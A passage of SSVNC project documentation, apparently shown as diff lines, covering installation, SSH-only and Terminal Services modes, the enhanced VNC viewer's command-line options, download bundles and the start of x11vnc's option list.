- cursors, no screen size rescaling, and no password prompting), and you
- have the XDarwin X server installed, you can set DISPLAY before starting
- ssvnc (or type DISPLAY=... in Host:Disp and hit Return). Then our
- enhanced TightVNC viewer will be used instead of COTVNC.
- Update: there is now a 'Use X11 vncviewer on MacOSX' under Options ...
-
-
- If you want a SSH-only tool (without the distractions of SSL) run
- the command:
-
- sshvnc
-
- instead of "ssvnc". Or click "SSH-Only Mode" under Options.
- Control-h will toggle between the two modes.
-
-
- If you want a simple VNC Terminal Services only mode (requires x11vnc
- on the remote server) run the command:
-
- tsvnc
-
- instead of "ssvnc". Or click "Terminal Services" under Options.
- Control-t will toggle between the two modes.
-
- "tsvnc profile-name" and "tsvnc user@hostname" work too.
-
-
-Unix/MacOSX Install:
-
- There is no standard install for the bundles, but you can make
- symlinks like so:
-
- cd /a/directory/in/PATH
- ln -s /path/to/ssvnc/bin/{s,t}* .
-
- Or put /path/to/ssvnc/bin, /path/to/ssvnc/Unix, or /path/to/ssvnc/MacOSX
- in your PATH.
-
- For the conventional source tarball it will compile and install, e.g.:
-
- gzip -dc ssvnc-1.0.29.src.tar.gz | tar xvf -
- cd ssvnc-1.0.29
- make config
- make all
- make PREFIX=/my/install/dir install
-
- then have /my/install/dir/bin in your PATH.
-
-
-
-Windows:
-
- Unzip, using WinZip or a similar utility, the zip file:
-
- ssvnc-1.0.29.zip
-
- Run the GUI, e.g.:
-
- Start -> Run -> Browse
-
- and then navigate to
-
- .../ssvnc/Windows/ssvnc.exe
-
- select Open, and then OK to launch it.
-
- The smaller file "ssvnc_windows_only-1.0.29.zip"
- could have been used as well.
-
- You can make a Windows shortcut to this program if you want to.
-
- See the Windows/README.txt for more info.
-
-
- If you want a SSH-only tool (without the distractions of SSL) run
- the command:
-
- sshvnc.bat
-
- Or click "SSH-Only Mode" under Options.
-
-
- If you want a simple VNC Terminal Services only mode (requires x11vnc
- on the remote server) run the command:
-
- tsvnc.bat
-
- Or click "Terminal Services" under Options. Control-t will toggle
- between the two modes. "tsvnc profile-name" and "tsvnc user@hostname"
- work too.
-
- _________________________________________________________________
-
- You can read all of the SSVNC GUI's Online Help Text here.
- _________________________________________________________________
-
- The bundle unpacks a directory/folder named: ssvnc. It contains these
- programs to launch the GUI:
- Windows/ssvnc.exe for Windows
- MacOSX/ssvnc for Mac OS X
- Unix/ssvnc for Unix
-
- (the Mac OS X and Unix launchers are simply links to the bin
- directory). See the README for more information.
-
- The SSH-Only mode launcher program has name sshvnc. The Terminal
- Services mode launcher program (assumes x11vnc 0.8.4 or later and Xvfb
- installed on the server machine) has name tsvnc.
-
- The Viewer SSL support is done via a wrapper script (bin/ssvnc_cmd
- that calls bin/util/ss_vncviewer) that starts up the STUNNEL tunnel
- first and then starts the TightVNC viewer pointed at that tunnel. The
- bin/ssvnc program is a GUI front-end to that script. See this FAQ for
- more details on SSL tunnelling. In SSH connection mode, the wrappers
- start up SSH appropriately.
-
-
- Memory Stick Usage: If you create a directory named "Home" in that
- toplevel ssvnc directory then that will be used as the base for
- storing VNC profiles and certificates. Also, for convenience, if you
- first run the command with "." as an argument (e.g. "ssvnc .") it will
- automatically create the "Home" directory for you. This is handy if
- you want to place SSVNC on a USB flash drive that you carry around for
- mobile use and you want the profiles you create to stay with the drive
- (otherwise you'd have to browse to the drive directory each time you
- load or save).
-
- One user on Windows created a BAT file to launch SSVNC and needed to
- do this to get the Home directory correct:
-cd \ssvnc\Windows
-start \ssvnc\Windows\ssvnc.exe
-
- (an optional profile name can be supplied to the ssvnc.exe line)
-
- WARNING: if you use ssvnc from an "Internet Cafe", i.e. some untrusted
- computer, please be aware that someone may have set up that machine to
- be capturing your keystrokes, etc.
-
-
- SSH-Only version: The command "sshvnc" can be run instead of "ssvnc"
- to get an SSH-only version of the tool:
-
- [sshvnc.gif]
-
- These also work: "sshvnc myprofile" and "sshvnc user@hostname". To
- switch from the regular SSVNC mode, click "SSH-Only Mode" under
- Options. This mode is less distracting if you never plan to use SSL,
- manage certificates, etc.
-
-
- Terminal Services Only: The command "tsvnc" can be run instead of
- "ssvnc" to get a "Terminal Services" only version of the tool:
-
- [tsvnc.gif]
-
- These also work: "tsvnc myprofile" and "tsvnc user@hostname". To
- switch from the regular SSVNC mode, click "Terminal Services" under
- Options.
-
- This mode requires x11vnc (0.9.3 or later) installed on the remote
- machine to find, create, and manage the user sessions. SSH is used to
- create the encrypted and authenticated tunnel. The Xvfb (virtual
- framebuffer X server) program must also be installed on the remote
- system. However tsvnc will also connect to a real X session (i.e. on
- the physical hardware) if you are already logged into the X session;
- this is a useful access mode and does not require Xvfb on the remote
- system.
-
- This mode should be very easy for beginner users to understand and
- use. On the remote end you only need to have x11vnc and Xvfb available
- in $PATH, and on the local end you just run something like:
- tsvnc myname@myhost.com
-
- (or start up the tsvnc GUI first and then enter myname@myhost.com and
- press "Connect").
-
- Normally the Terminal Services sessions created are virtual (RAM-only)
- ones (e.g. Xvfb, Xdummy, or Xvnc), however a nice feature is if you
- have a regular X session (i.e displaying on the physical hardware) on
- the remote machine that you are ALREADY logged into, then the x11vnc
- run from tsvnc will find it for you as well.
-
- Also, there is setting "X Login" under Advanced Options that allows
- you to attach to a real X server with no one logged in yet (i.e.
- XDM/GDM/KDM Login Greeter screen) as long as you have sudo(1)
- permission on the remote machine.
-
- Nice features to soon to be added to the tsvnc mode are easy CUPS
- printing (working fairly well) and Sound redirection (needs much work)
- of the Terminal Services Desktop session. It is easier in tsvnc mode
- because the entire desktop session can be started with the correct
- environment. ssvnc tries to handle the general case of an already
- started desktop and that is more difficult.
-
-
- Proxies: Web proxies, SOCKS proxies, and the UltraVNC repeater proxy
- are supported to allow the SSVNC connection to go through the proxy to
- the otherwise unreachable VNC Server. SSH gateway machines can be used
- in the same way. Read more about SSVNC proxy support here.
-
-
- Dynamic VNC Server Port determination: If you are running SSVNC on
- Unix and are using SSH to start the remote VNC server and the VNC
- server prints out the line "PORT=NNNN" to indicate which dynamic port
- it is using (x11vnc does this), then if you prefix the SSH command
- with "PORT=" SSVNC will watch for the PORT=NNNN line and uses ssh's
- built in SOCKS proxy (ssh -D ...) to connect to the dynamic VNC server
- port through the SSH tunnel. For example:
- VNC Host:Display user@somehost.com
- Remote SSH Command: PORT= x11vnc -find
-
- or "PORT= x11vnc -display :0 -localhost", etc. Or use "P= x11vnc ..."
-
- There is also code to detect the display of the regular Unix
- vncserver(1). It extracts the display (and hence port) from the lines
- "New 'X' desktop is hostname:4" and also "VNC server is already
- running as :4". So you can use something like:
- PORT= vncserver; sleep 15
-or: PORT= vncserver :4; sleep 15
-
- the latter is preferred because when you reconnect with it will find
- the already running one. The former one will keep creating new X
- sessions if called repeatedly.
-
- If you use PORT= on Windows, a large random port is selected instead
- and the -rfbport option is passed to x11vnc (it does not work with
- vncserver).
-
-
-
- Patches for Unix Tightvnc viewer:
-
- The rfbNewFBSize support allows the enhanced TightVNC Unix viewer to
- resize when the server does (e.g. "x11vnc -R scale=3/4" remote control
- command).
-
- The cursor alphablending is described here.
-
- The RealVNC ZRLE encoding is supported, in addition to some low colors
- modes (16bpp and 8bpp at 256, 64, and even 8 colors, for use on very
- slow connections). Greyscales are also enabled for the low color
- modes.
-
- The Popup menu (F8) is enhanced with the ability to change many things
- on the fly. F9 is added as a shortcut to toggle FullScreen mode.
-
- Client Side Caching: The x11vnc client-side caching is handled nicely
- by this viewer. The very large pixel cache below the actual display in
- this caching method is distracting. Our Unix VNC viewer will
- automatically try to autodetect the actual display height if the
- framebuffer is very tall (more than twice as high as it is wide). One
- can also set the height to the known value via -ycrop n, or use -ycrop
- -1 to force autodection. In fullscreen mode one is not possible to
- scroll down to the pixel cache region. In non-fullscreen mode the
- window manager frame is "shrink-wrapped" around the actual screen
- display. You can still scroll down to the pixel cache region. The
- scrollbars are set to be very thin (2 pixels) to be less distracting.
- Use the -sbwidth n to make them wider.
-
- Probably nobody is interested in the grabserver patch for old window
- managers when the viewer is in fullscreen mode... This and some other
- unfixed bugs have been fixed in our patches (fullscreen toggle works
- with KDE, -x11cursor has been fixed, and the dot cursor has been made
- smaller).
-
- From the -help output:
-SSVNC Viewer (based on TightVNC viewer version 1.3.9)
-
-Usage: vncviewer [<OPTIONS>] [<HOST>][:<DISPLAY#>]
- vncviewer [<OPTIONS>] [<HOST>][::<PORT#>]
- vncviewer [<OPTIONS>] exec=[CMD ARGS...]
- vncviewer [<OPTIONS>] fd=n
- vncviewer [<OPTIONS>] /path/to/unix/socket
- vncviewer [<OPTIONS>] -listen [<DISPLAY#>]
- vncviewer -help
-
-<OPTIONS> are standard Xt options, or:
- -via <GATEWAY>
- -shared (set by default)
- -noshared
- -viewonly
- -fullscreen
- -noraiseonbeep
- -passwd <PASSWD-FILENAME> (standard VNC authentication)
- -user <USERNAME> (Unix login authentication)
- -encodings <ENCODING-LIST> (e.g. "tight,copyrect")
- -bgr233
- -owncmap
- -truecolour
- -depth <DEPTH>
- -compresslevel <COMPRESS-VALUE> (0..9: 0-fast, 9-best)
- -quality <JPEG-QUALITY-VALUE> (0..9: 0-low, 9-high)
- -nojpeg
- -nocursorshape
- -x11cursor
- -autopass
-
-Option names may be abbreviated, e.g. -bgr instead of -bgr233.
-See the manual page for more information.
-
-
-Enhanced TightVNC viewer (SSVNC) options:
-
- URL http://www.karlrunge.com/x11vnc/ssvnc.html
-
- Note: ZRLE and ZYWRLE encodings are now supported.
-
- Note: F9 is shortcut to Toggle FullScreen mode.
-
- Note: In -listen mode set the env var. SSVNC_MULTIPLE_LISTEN=1
- to allow more than one incoming VNC server at a time.
- This is the same as -multilisten described below. Set
- SSVNC_MULTIPLE_LISTEN=MAX:n to allow no more than "n"
- simultaneous reverse connections.
-
- Note: If the host:port is specified as "exec=command args..."
- then instead of making a TCP/IP socket connection to the
- remote VNC server, "command args..." is executed and the
- viewer is attached to its stdio. This enables tunnelling
- established via an external command, e.g. an stunnel(8)
- that does not involve a listening socket. This mode does
- not work for -listen reverse connections.
-
- If the host:port is specified as "fd=n" then it is assumed
- n is an already opened file descriptor to the socket. (i.e
- the parent did fork+exec)
-
- If the host:port contains a '/' it is interpreted as a
- unix-domain socket (AF_LOCAL insead of AF_INET)
-
- -multilisten As in -listen (reverse connection listening) except
- allow more than one incoming VNC server to be connected
- at a time. The default for -listen of only one at a
- time tries to play it safe by not allowing anyone on
- the network to put (many) desktops on your screen over
- a long window of time. Use -multilisten for no limit.
-
- -acceptpopup In -listen (reverse connection listening) mode when
- a reverse VNC connection comes in show a popup asking
- whether to Accept or Reject the connection. The IP
- address of the connecting host is shown. Same as
- setting the env. var. SSVNC_ACCEPT_POPUP=1.
-
- -acceptpopupsc As in -acceptpopup except assume UltraVNC Single
- Click (SC) server. Retrieve User and ComputerName
- info from UltraVNC Server and display in the Popup.
-
- -use64 In -bgr233 mode, use 64 colors instead of 256.
- -bgr222 Same as -use64.
-
- -use8 In -bgr233 mode, use 8 colors instead of 256.
- -bgr111 Same as -use8.
-
- -16bpp If the vnc viewer X display is depth 24 at 32bpp
- request a 16bpp format from the VNC server to cut
- network traffic by up to 2X, then tranlate the
- pixels to 32bpp locally.
- -bgr565 Same as -16bpp.
-
- -grey Use a grey scale for the 16- and 8-bpp modes.
-
- -alpha Use alphablending transparency for local cursors
- requires: x11vnc server, both client and server
- must be 32bpp and same endianness.
-
- -scale str Scale the desktop locally. The string "str" can
- a floating point ratio, e.g. "0.9", or a fraction,
- e.g. "3/4", or WxH, e.g. 1280x1024. Use "fit"
- to fit in the current screen size. Use "auto" to
- fit in the window size. "str" can also be set by
- the env. var. SSVNC_SCALE.
-
- If you observe mouse trail painting errors, enable
- X11 Cursor mode (either via Popup or -x11cursor.)
-
- Note that scaling is done in software and so can be
- slow and requires more memory. Some speedup Tips:
-
- ZRLE is faster than Tight in this mode. When
- scaling is first detected, the encoding will
- be automatically switched to ZRLE. Use the
- Popup menu if you want to go back to Tight.
- Set SSVNC_PRESERVE_ENCODING=1 to disable this.
-
- Use a solid background on the remote side.
- (e.g. manually or via x11vnc -solid ...)
-
- If the remote server is x11vnc, try client
- side caching: x11vnc -ncache 10 ...
-
- -ycrop n Only show the top n rows of the framebuffer. For
- use with x11vnc -ncache client caching option
- to help "hide" the pixel cache region.
- Use a negative value (e.g. -1) for autodetection.
- Autodetection will always take place if the remote
- fb height is more than 2 times the width.
-
- -sbwidth n Scrollbar width for x11vnc -ncache mode (-ycrop),
- default is very narrow: 2 pixels, it is narrow to
- avoid distraction in -ycrop mode.
-
- -nobell Disable bell.
-
- -rawlocal Prefer raw encoding for localhost, default is
- no, i.e. assumes you have a SSH tunnel instead.
-
- -notty Try to avoid using the terminal for interactive
- responses: use windows for messages and prompting
- instead. Messages will also be printed to terminal.
-
- -sendclipboard Send the X CLIPBOARD selection (i.e. Ctrl+C,
- Ctrl+V) instead of the X PRIMARY selection (mouse
- select and middle button paste.)
-
- -sendalways Whenever the mouse enters the VNC viewer main
- window, send the selection to the VNC server even if
- it has not changed. This is like the Xt resource
- translation SelectionToVNC(always)
-
- -recvtext str When cut text is received from the VNC server,
- ssvncviewer will set both the X PRIMARY and the
- X CLIPBOARD local selections. To control which
- is set, specify 'str' as 'primary', 'clipboard',
- or 'both' (the default.)
-
- -graball Grab the entire X server when in fullscreen mode,
- needed by some old window managers like fvwm2.
-
- -popupfix Warp the popup back to the pointer position,
- needed by some old window managers like fvwm2.
- -sendclipboard Send the X CLIPBOARD selection (i.e. Ctrl+C,
- Ctrl+V) instead of the X PRIMARY selection (mouse
- select and middle button paste.)
-
- -sendalways Whenever the mouse enters the VNC viewer main
- window, send the selection to the VNC server even if
- it has not changed. This is like the Xt resource
- translation SelectionToVNC(always)
-
- -recvtext str When cut text is received from the VNC server,
- ssvncviewer will set both the X PRIMARY and the
- X CLIPBOARD local selections. To control which
- is set, specify 'str' as 'primary', 'clipboard',
- or 'both' (the default.)
-
- -graball Grab the entire X server when in fullscreen mode,
- needed by some old window managers like fvwm2.
-
- -popupfix Warp the popup back to the pointer position,
- needed by some old window managers like fvwm2.
-
- -grabkbd Grab the X keyboard when in fullscreen mode,
- needed by some window managers. Same as -grabkeyboard.
- -grabkbd is the default, use -nograbkbd to disable.
-
- -bs, -nobs Whether or not to use X server Backingstore for the
- main viewer window. The default is to not, mainly
- because most Linux, etc, systems X servers disable
- *all* Backingstore by default. To re-enable it put
-
- Option "Backingstore"
-
- in the Device section of /etc/X11/xorg.conf.
- In -bs mode with no X server backingstore, whenever an
- area of the screen is re-exposed it must go out to the
- VNC server to retrieve the pixels. This is too slow.
-
- In -nobs mode, memory is allocated by the viewer to
- provide its own backing of the main viewer window. This
- actually makes some activities faster (changes in large
- regions) but can appear to "flash" too much.
-
- -noshm Disable use of MIT shared memory extension (not recommended
-)
-
- -termchat Do the UltraVNC chat in the terminal vncviewer is in
- instead of in an independent window.
-
- -unixpw str Useful for logging into x11vnc in -unixpw mode. "str" is a
- string that allows many ways to enter the Unix Username
- and Unix Password. These characters: username, newline,
- password, newline are sent to the VNC server after any VNC
- authentication has taken place. Under x11vnc they are
- used for the -unixpw login. Other VNC servers could do
- something similar.
-
- You can also indicate "str" via the environment
- variable SSVNC_UNIXPW.
-
- Note that the Escape key is actually sent first to tell
- x11vnc to not echo the Unix Username back to the VNC
- viewer. Set SSVNC_UNIXPW_NOESC=1 to override this.
-
- If str is ".", then you are prompted at the command line
- for the username and password in the normal way. If str is
- "-" the stdin is read via getpass(3) for username@password.
- Otherwise if str is a file, it is opened and the first line
- read is taken as the Unix username and the 2nd as the
- password. If str prefixed by "rm:" the file is removed
- after reading. Otherwise, if str has a "@" character,
- it is taken as username@password. Otherwise, the program
- exits with an error. Got all that?
-
- -repeater str This is for use with UltraVNC repeater proxy described
- here: http://www.uvnc.com/addons/repeater.html. The "str"
- is the ID string to be sent to the repeater. E.g. ID:1234
- It can also be the hostname and port or display of the VNC
- server, e.g. 12.34.56.78:0 or snoopy.com:1. Note that when
- using -repeater, the host:dpy on the cmdline is the repeate
-r
- server, NOT the VNC server. The repeater will connect you.
-
- Example: vncviewer ... -repeater ID:3333 repeat.host:5900
- Example: vncviewer ... -repeater vhost:0 repeat.host:5900
-
- Use, e.g., '-repeater SCIII=ID:3210' if the repeater is a
- Single Click III (SSL) repeater (repeater_SSL.exe) and you
- are passing the SSL part of the connection through stunnel,
- socat, etc. This way the magic UltraVNC string 'testB'
- needed to work with the repeater is sent to it.
-
- -rfbversion str Set the advertised RFB version. E.g.: -rfbversion 3.6
- For some servers, e.g. UltraVNC this needs to be done.
-
- -ultradsm UltraVNC has symmetric private key encryption DSM plugins:
- http://www.uvnc.com/features/encryption.html. It is assumed
- you are using a unix program (e.g. our ultravnc_dsm_helper)
- to encrypt and decrypt the UltraVNC DSM stream. IN ADDITION
- TO THAT supply -ultradsm to tell THIS viewer to modify the
- RFB data sent so as to work with the UltraVNC Server. For
- some reason, each RFB msg type must be sent twice under DSM
-.
-
- -mslogon user Use Windows MS Logon to an UltraVNC server. Supply the
- username or "1" to be prompted. The default is to
- autodetect the UltraVNC MS Logon server and prompt for
- the username and password.
-
- IMPORTANT NOTE: The UltraVNC MS-Logon Diffie-Hellman
- exchange is very weak and can be brute forced to recover
- your username and password in a few seconds of CPU time.
- To be safe, be sure to use an additional encrypted tunnel
- (e.g. SSL or SSH) for the entire VNC session.
-
- -chatonly Try to be a client that only does UltraVNC text chat. This
- mode is used by x11vnc to present a chat window on the
- physical X11 console (i.e. chat with the person at the
- display).
-
- -env VAR=VALUE To save writing a shell script to set environment variables
-,
- specify as many as you need on the command line. For
- example, -env SSVNC_MULTIPLE_LISTEN=MAX:5 -env EDITOR=vi
-
- -noipv6 Disable all IPv6 sockets. Same as VNCVIEWER_NO_IPV6=1.
-
- -noipv4 Disable all IPv4 sockets. Same as VNCVIEWER_NO_IPV4=1.
-
- -printres Print out the Ssvnc X resources (appdefaults) and then exit
- You can save them to a file and customize them (e.g. the
- keybindings and Popup menu) Then point to the file via
- XENVIRONMENT or XAPPLRESDIR.
-
- -pipeline Like TurboVNC, request the next framebuffer update as soon
- as possible instead of waiting until the end of the current
- framebuffer update coming in. Helps 'pipeline' the updates
-.
- This is currently the default, use -nopipeline to disable.
-
- -appshare Enable features for use with x11vnc's -appshare mode where
- instead of sharing the full desktop only the application's
- windows are shared. Viewer multilisten mode is used to
- create the multiple windows: -multilisten is implied.
- See 'x11vnc -appshare -help' more information on the mode.
-
- Features enabled in the viewer under -appshare are:
- Minimum extra text in the title, auto -ycrop is disabled,
- x11vnc -remote_prefix X11VNC_APPSHARE_CMD: message channel,
- x11vnc initial window position hints. See also Escape Keys
- below for additional key and mouse bindings.
-
- -escape str This sets the 'Escape Keys' modifier sequence and enables
- escape keys mode. When the modifier keys escape sequence
- is held down, the next keystroke is interpreted locally
- to perform a special action instead of being sent to the
- remote VNC server.
-
- Use '-escape default' for the default modifier sequence.
- (Unix: Alt_L,Super_L and MacOSX: Control_L,Meta_L)
-
- Here are the 'Escape Keys: Help+Set' instructions from the Popup Menu:
-
- Escape Keys: Enter a comma separated list of modifier keys to be the
- 'escape sequence'. When these keys are held down, the next keystroke is
- interpreted locally to invoke a special action instead of being sent to
- the remote VNC server. In other words, a set of 'Hot Keys'.
-
- To enable or disable this, click on 'Escape Keys: Toggle' in the Popup.
-
- Here is the list of hot-key mappings to special actions:
-
- r: refresh desktop b: toggle bell c: toggle full-color
- f: file transfer x: x11cursor z: toggle Tight/ZRLE
- l: full screen g: graball e: escape keys dialog
- s: scale dialog +: scale up (=) -: scale down (_)
- t: text chat a: alphablend cursor
- V: toggle viewonly Q: quit viewer 1 2 3 4 5 6: UltraVNC scale 1/n
-
- Arrow keys: pan the viewport about 10% for each keypress.
- PageUp / PageDown: pan the viewport by a screenful vertically.
- Home / End: pan the viewport by a screenful horizontally.
- KeyPad Arrow keys: pan the viewport by 1 pixel for each keypress.
- Dragging the Mouse with Button1 pressed also pans the viewport.
- Clicking Mouse Button3 brings up the Popup Menu.
-
- The above mappings are *always* active in ViewOnly mode, unless you set the
- Escape Keys value to 'never'.
-
- If the Escape Keys value below is set to 'default' then a default list of
- of modifier keys is used. For Unix it is: Alt_L,Super_L and for MacOSX it
- is Control_L,Meta_L. Note: the Super_L key usually has a Windows(TM) Flag
- on it. Also note the _L and _R mean the key is on the LEFT or RIGHT side
- of the keyboard.
-
- On Unix the default is Alt and Windows keys on Left side of keyboard.
- On MacOSX the default is Control and Command keys on Left side of keyboard.
-
- Example: Press and hold the Alt and Windows keys on the LEFT side of the
- keyboard and then press 'c' to toggle the full-color state. Or press 't'
- to toggle the ultravnc Text Chat window, etc.
-
- To use something besides the default, supply a comma separated list (or a
- single one) from: Shift_L Shift_R Control_L Control_R Alt_L Alt_R Meta_L
- Meta_R Super_L Super_R Hyper_L Hyper_R or Mode_switch.
-
-
- New Popup actions:
-
- ViewOnly: ~ -viewonly
- Disable Bell: ~ -nobell
- Cursor Shape: ~ -nocursorshape
- X11 Cursor: ~ -x11cursor
- Cursor Alphablend: ~ -alpha
- Toggle Tight/Hextile: ~ -encodings hextile...
- Toggle Tight/ZRLE: ~ -encodings zrle...
- Toggle ZRLE/ZYWRLE: ~ -encodings zywrle...
- Quality Level ~ -quality (both Tight and ZYWRLE)
- Compress Level ~ -compresslevel
- Disable JPEG: ~ -nojpeg (Tight)
- Pipeline Updates ~ -pipeline
-
- Full Color as many colors as local screen allows.
- Grey scale (16 & 8-bpp) ~ -grey, for low colors 16/8bpp modes only.
- 16 bit color (BGR565) ~ -16bpp / -bgr565
- 8 bit color (BGR233) ~ -bgr233
- 256 colors ~ -bgr233 default # of colors.
- 64 colors ~ -bgr222 / -use64
- 8 colors ~ -bgr111 / -use8
- Scale Viewer ~ -scale
- Escape Keys: Toggle ~ -escape
- Escape Keys: Help+Set ~ -escape
- Set Y Crop (y-max) ~ -ycrop
- Set Scrollbar Width ~ -sbwidth
- XGrabServer ~ -graball
-
- UltraVNC Extensions:
-
- Set 1/n Server Scale Ultravnc ext. Scale desktop by 1/n.
- Text Chat Ultravnc ext. Do Text Chat.
- File Transfer Ultravnc ext. File xfer via Java helper.
- Single Window Ultravnc ext. Grab and view a single window.
- (select then click on the window you want).
- Disable Remote Input Ultravnc ext. Try to prevent input and
- viewing of monitor at physical display.
-
- Note: the Ultravnc extensions only apply to servers that support
- them. x11vnc/libvncserver supports some of them.
-
- Send Clipboard not Primary ~ -sendclipboard
- Send Selection Every time ~ -sendalways
-
- Nearly all of these can be changed dynamically in the Popup menu
- (press F8 for it):
-
- [viewer_menu.gif] [unixviewer.jpg]
-
- _________________________________________________________________
-
- Windows:
-
- For Windows, SSL Viewer support is provided by a GUI Windows/ssvnc.exe
- that prompts for the VNC display and then starts up STUNNEL followed
- by the Stock TightVNC Windows Viewer. Both are bundled in the package
- for your convenience. The GUI has other useful features. When the
- connection is finished, you will be asked if you want to terminate the
- STUNNEL program. For SSH connections from Windows the GUI will use
- PLINK instead of STUNNEL.
-
- Unix and Mac OS X:
-
- Run the GUI (ssvnc, see above) and let me know how it goes.
- _________________________________________________________________
-
- Hopefully this tool will make it convenient for people to help test
- and use the built-in SSL support in x11vnc. Extra testing of this
- feature is much appreciated!! Thanks.
-
- Please Help Test the newly added features:
- * Automatic Service tunnelling via SSH for CUPS and SMB Printing
- * ESD/ARTSD Audio
- * SMB (Windows/Samba) filesystem mounting
-
- These allow you to print from the remote (VNC Server) machine to local
- printers, listen to sounds (with some limitations) from the remote VNC
- Server machine, and to mount your local Windows or Samba shares on the
- remote VNC Server machine. Basically these new features try to
- automate the tricks described here:
- http://www.karlrunge.com/x11vnc/faq.html#faq-smb-shares
- http://www.karlrunge.com/x11vnc/faq.html#faq-cups
- http://www.karlrunge.com/x11vnc/faq.html#faq-sound
- _________________________________________________________________
-
- Downloading: Downloads for this project are hosted at Sourceforge.net.
-
- Choose the archive file bundle that best suits you (e.g. no source
- code, windows only, unix only, zip, tar etc).
-
- A quick guide:
-
- On some flavor of Unix, e.g. Linux or Solaris? Use
- "ssvnc_unix_only" (or "ssvnc_no_windows" to recompile).
- On Mac OS X? Use "ssvnc_no_windows".
- On Windows? Use "ssvnc_windows_only".
- ssvnc_windows_only-1.0.28.zip Windows Binaries Only. No source included
- (6.2MB)
- ssvnc_no_windows-1.0.28.tar.gz Unix and Mac OS X Only. No Windows binarie
-s. Source included. (10.1MB)
- ssvnc_unix_only-1.0.28.tar.gz Unix Binaries Only. No source included
-. (7.2MB)
- ssvnc_unix_minimal-1.0.28.tar.gz Unix Minimal. You must supply your own vn
-cviewer and stunnel. (0.2MB)
-
- ssvnc-1.0.28.tar.gz All Unix, Mac OS X, and Windows binaries a
-nd source TGZ. (16.1MB)
- ssvnc-1.0.28.zip All Unix, Mac OS X, and Windows binaries a
-nd source ZIP. (16.4MB)
- ssvnc_all-1.0.28.zip All Unix, Mac OS X, and Windows binaries a
-nd source AND full archives in the zip dir. (19.2MB)
-
-
- Here is a conventional source tarball:
- ssvnc-1.0.28.src.tar.gz Conventional Source for SSVNC GUI and Unix
- VNCviewer (0.5MB)
-
- it will be of use to those who do not want the SSVNC
- "one-size-fits-all" bundles. For example, package/distro maintainers
- will find this more familiar and useful to them (i.e. they run: "make
- config; make all; make install"). Note that it does not include the
- stunnel source, and so has a dependency that the system stunnel is
- installed.
-
- Read the README.src file for more information on using the
- conventional source tarball.
-
-
- Note: even with the Unix bundles, e.g. "ssvnc_no_windows" or
- "ssvnc_all", you may need to run the "./build.unix" script in the top
- directory to recompile for your operating system.
-
- Here are the corresponding 1.0.29 development bundles (Please help
- test them):
-
- ssvnc_windows_only-1.0.29.zip
- ssvnc_no_windows-1.0.29.tar.gz
- ssvnc_unix_only-1.0.29.tar.gz
- ssvnc_unix_minimal-1.0.29.tar.gz
-
- ssvnc-1.0.29.tar.gz
- ssvnc-1.0.29.zip
- ssvnc_all-1.0.29.zip
-
- ssvnc-1.0.29.src.tar.gz Conventional Source for SSVNC GUI and Unix
- VNCviewer (0.5MB)
-
-
- For any Unix system, a self-extracting and running file for the
- "ssvnc_unix_minimal" package is here: ssvnc. Save it as filename
- "ssvnc", type "chmod 755 ./ssvnc", and then launch the GUI via typing
- "./ssvnc". Note that this "ssvnc_unix_minimal" mode requires you
- install the "stunnel" and "vncviewer" programs externally (for
- example, install your distros' versions, e.g. on debian: "apt-get
- install stunnel4 xtightvncviewer".) It will work, but many of the
- SSVNC features will be missing.
-
- Previous releases:
- Release 1.0.18 at Sourceforge.net
- Release 1.0.19 at Sourceforge.net
- Release 1.0.20 at Sourceforge.net
- Release 1.0.21 at Sourceforge.net
- Release 1.0.22 at Sourceforge.net
- Release 1.0.23 at Sourceforge.net
- Release 1.0.24 at Sourceforge.net
- Release 1.0.25 at Sourceforge.net
- Release 1.0.26 at Sourceforge.net
- Release 1.0.27 at Sourceforge.net
- Release 1.0.28 at Sourceforge.net
-
-
- Please help test the UltraVNC File Transfer support in the native Unix
- VNC viewer! Let us know how it went.
-
- Current Unix binaries in the archives:
- Linux.i686
- Linux.x86_64
- Linux.ppc64 X (removed)
- Linux.alpha X (removed)
- SunOS.sun4u
- SunOS.sun4m
- SunOS.i86pc
- Darwin.Power.Macintosh
- Darwin.i386
- HP-UX.9000 X (removed)
- FreeBSD.i386 X (removed)
- NetBSD.i386 X (removed)
- OpenBSD.i386 X (removed)
-
- (some of these are out of date, marked with 'X' above, because I no
- longer have access to machines running those OS's. Use the
- "build.unix" script to recompile on your system).
-
- Note: some of the above binaries depend on libssl.so.0.9.7, whereas
- some recent distros only provide libssl.so.0.9.8 by default (for
- compatibility reasons they should install both by default but not all
- do). So you may need to instruct your distro to install the 0.9.7
- library (it is fine to have both runtimes installed simultaneously
- since the libraries have different names). Update: I now try to
- statically link libssl.a for all of the binaries in the archive.
-
- You can also run the included build.unix script to try to
- automatically build the binaries if your OS is not in the above list
- or the included binary does not run properly on your system. Let me
- know how that goes.
- _________________________________________________________________
-
- IMPORTANT: there may be restrictions for you to download, use, or
- redistribute the above because of cryptographic software they contain
- or for other reasons. Please check out your situation and information
- at the following and related sites:
- http://stunnel.mirt.net
- http://www.stunnel.org
- http://www.openssl.org
- http://www.chiark.greenend.org.uk/~sgtatham/putty/
- http://www.tightvnc.com
- http://www.realvnc.com
- http://sourceforge.net/projects/cotvnc/
- _________________________________________________________________
-
- README: Here is the toplevel README from the bundle.
-
-=======================================================================
-http://www.karlrunge.com/x11vnc/x11vnc_opts.html:
-
-
- _________________________________________________________________
-
-x11vnc: a VNC server for real X displays
-
- Here are all of x11vnc command line options:
-% x11vnc -opts (see below for -help long descriptions)
-
-x11vnc: allow VNC connections to real X11 displays. 0.9.13 lastmod: 2010-12-27
-
-x11vnc options:
- -display disp -auth file -N
- -autoport n -rfbport str -6
- -no6 -noipv6 -noipv4
- -reopen -reflect host:N -id windowid
- -sid windowid -appshare -clip WxH+X+Y
- -flashcmap -shiftcmap n -notruecolor
- -advertise_truecolor -visual n -overlay
- -overlay_nocursor -8to24 [opts] -24to32
- -scale fraction -geometry WxH -scale_cursor frac
- -viewonly -shared -once
- -forever -loop -timeout n
- -sleepin n -inetd -tightfilexfer
- -ultrafilexfer -http -http_ssl
- -avahi -mdns -zeroconf
- -connect string -connect_or_exit str -proxy string
- -vncconnect -novncconnect -allow host1[,host2..]
- -localhost -unixsock str -listen6 str
- -nolookup -input string -grabkbd
- -grabptr -ungrabboth -grabalways
- -viewpasswd string -passwdfile filename -showrfbauth filename
- -unixpw [list] -unixpw_nis [list] -unixpw_cmd cmd
- -find -finddpy -listdpy
- -findauth [disp] -create -xdummy
- -xvnc -xvnc_redirect -xdummy_xvfb
- -create_xsrv str -svc -svc_xdummy
- -svc_xvnc -svc_xdummy_xvfb -xdmsvc
